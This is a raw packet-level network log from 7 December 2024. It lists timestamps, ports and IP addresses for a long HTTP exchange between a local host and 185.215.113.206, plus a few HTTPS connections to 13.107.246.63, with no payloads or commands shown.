Dec 7, 2024 22:40:42.103626966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.103686094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.103732109 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.104542017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.104592085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.104595900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.104635000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.105911970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.105963945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.160550117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.160629034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.160664082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.160708904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.160756111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.160906076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.160923958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.160937071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.161679983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.161710978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.161725998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.161744118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.162403107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.162448883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.162482023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.162527084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.163338900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.163388968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.163445950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.163492918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.164249897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.164298058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.164361954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.164402962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.165240049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.165288925 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.165311098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.165349960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.166179895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.166234016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.166280031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.166323900 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.167112112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.167160988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.167206049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.167252064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.168082952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.168133020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.168169975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.168212891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.169001102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.169054985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.169086933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.169162035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.169909000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.169955969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.170027018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.170073986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.170871973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.170995951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.171050072 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.171803951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.171904087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.171930075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.171946049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.172748089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.172796965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.172844887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.172914982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.173737049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.173840046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.173907995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.174640894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.174799919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.174849987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.175596952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.175652981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.175729036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.176567078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.176620007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.176635027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.177191019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.177495003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.177580118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.177628040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.178431034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.178560972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.178606033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.179371119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.179419994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.179466963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.180310965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.180360079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.180416107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.181150913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.181256056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.181385994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.181431055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.182178020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.182286024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.182333946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.183149099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.183197975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.183235884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.184114933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.184169054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.184185028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.185020924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.185070992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.185139894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.186038017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.186105013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.186136007 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.186176062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.186949968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.187031031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.187081099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.187942982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.188066006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.188121080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.188796997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.188905001 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.188960075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.189771891 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.189879894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.189929008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.190737009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.190802097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.190845013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.191627979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.191690922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.191734076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.191865921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.192574024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.192616940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.192708015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.192754984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.193619967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.193666935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.193782091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.193830013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.194494963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.194582939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.194593906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.194633961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.195460081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.195583105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.195628881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.196371078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.196561098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.196676016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.197297096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.197341919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.285681963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.285744905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.285751104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.285821915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.286128044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.286175013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.286279917 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.286323071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.287108898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.287168980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.287184954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.287224054 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.288048983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.288100004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.288150072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.288244009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.288952112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.289007902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.289051056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.289093018 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.289881945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.289994955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.290040016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.290822983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.290910959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.290950060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.291793108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.291836977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.291891098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.292457104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.292761087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.292864084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.292897940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.293680906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.293723106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.293771982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.293812037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.294622898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.294672012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.294708967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.294867039 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.295562983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.295634985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.295649052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.295686007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.296561003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.296591043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.296613932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.296623945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.297499895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.297543049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.352638960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.352683067 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.352766991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.353086948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.353228092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.353279114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.354082108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.354248047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.354285955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.354995012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.355047941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.355084896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.356142998 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.356189013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.356201887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.356245995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.356909990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.357022047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.357069016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.357861996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.357917070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.357965946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.358721018 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.358836889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.358884096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.359659910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.359707117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.359749079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.360614061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.360660076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.360723019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.361160040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.361553907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.361643076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.361684084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.362499952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.362598896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.362643957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.363471031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.363518953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.363583088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.364414930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.364463091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.364527941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.365305901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.365370989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.365498066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.365542889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.366277933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.366368055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.366411924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.367248058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.367290974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.367335081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.368235111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.368288040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.368346930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.369158030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.369209051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.369231939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.369276047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.370044947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.373097897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.381416082 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.382045031 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.382075071 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.382550001 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.382556915 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.438678980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.558265924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.676455021 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.676546097 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.676879883 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677077055 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677079916 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677092075 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677098989 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677504063 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677531004 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677778959 CET	49802	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677784920 CET	443	49802	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677870035 CET	49803	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677882910 CET	443	49803	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.677895069 CET	49804	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.677901030 CET	443	49804	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.815542936 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.815613985 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.815664053 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.815857887 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.815866947 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.815877914 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.815882921 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.818557978 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.818579912 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.818672895 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.818800926 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:42.818820000 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:42.876080036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.876111984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.876244068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.876337051 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.876370907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.876424074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.876473904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.877216101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.877274990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.877316952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.877372026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.878160000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.878213882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.878236055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.878288031 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.879070044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.879118919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.879169941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.879216909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.880013943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.880065918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.880112886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.880157948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.880961895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.881006956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.881052971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.881094933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.881903887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.881958008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.882025003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.882074118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.882848024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.882900000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.882956982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.883002996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.883779049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.883830070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.883894920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:42.883943081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:42.884721994 CET	80	49790	185.215.113.206	192.168.2.6
